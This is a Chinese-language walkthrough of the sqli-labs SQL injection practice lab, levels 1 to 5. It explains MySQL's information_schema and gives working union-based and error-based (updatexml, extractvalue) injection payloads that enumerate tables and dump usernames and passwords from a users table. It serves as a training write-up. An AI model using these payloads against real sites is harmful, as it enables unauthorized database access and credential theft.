MySQL数据结构
在开始之前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。
sqil-labs通关方法总结
1.首先需要判断注入方式
2.然后就是通过联合注入知道表格有几列
3.爆出显示位
4.爆数据库名
5.爆表名
6.爆字段名
7.得到字段内容
以上就是sql注入一般流程.
less1:单引号字符型注入
首先判断注入方式,为单引号注入
完了利用order by查询表格为几列,我们先尝试4报错后,在尝试3发现不报错,我们可以知道表格有三列。
?id=1' order by 4 --+
?id=1' order by 3 --+
接下来我们来爆显示位
?id=-1' union select 1,2,3--+
爆数据库名
?id=-1' union select 1,database(),version()--+
爆表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
我们可以知道表名为users。
爆字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
我们可以发现username和password就是我们想要的内容
得到字段内容
?id=-1' union select 1,2,group_concat(username ,'--', password) from users--+
这样我们就得到username和password中的所有内容了。
less2
这一关以及后面的3 4关方法都和第一关大同小异
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username,'--', password) from users
less3
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username,'--', password) from users
less4
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1")union select 1,2,group_concat(username,'--',password) from users--+
less5
这一关我们发现上面的方法都行不通,我们就尝试报错注入
报错注入:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
报错注入的相关函数:updatexml()和 extractvalue ()
我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
剩下将代码经过修改就会和前4关的类似
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,50),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,50),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'--', password) from users),1,50),0x7e),1)--+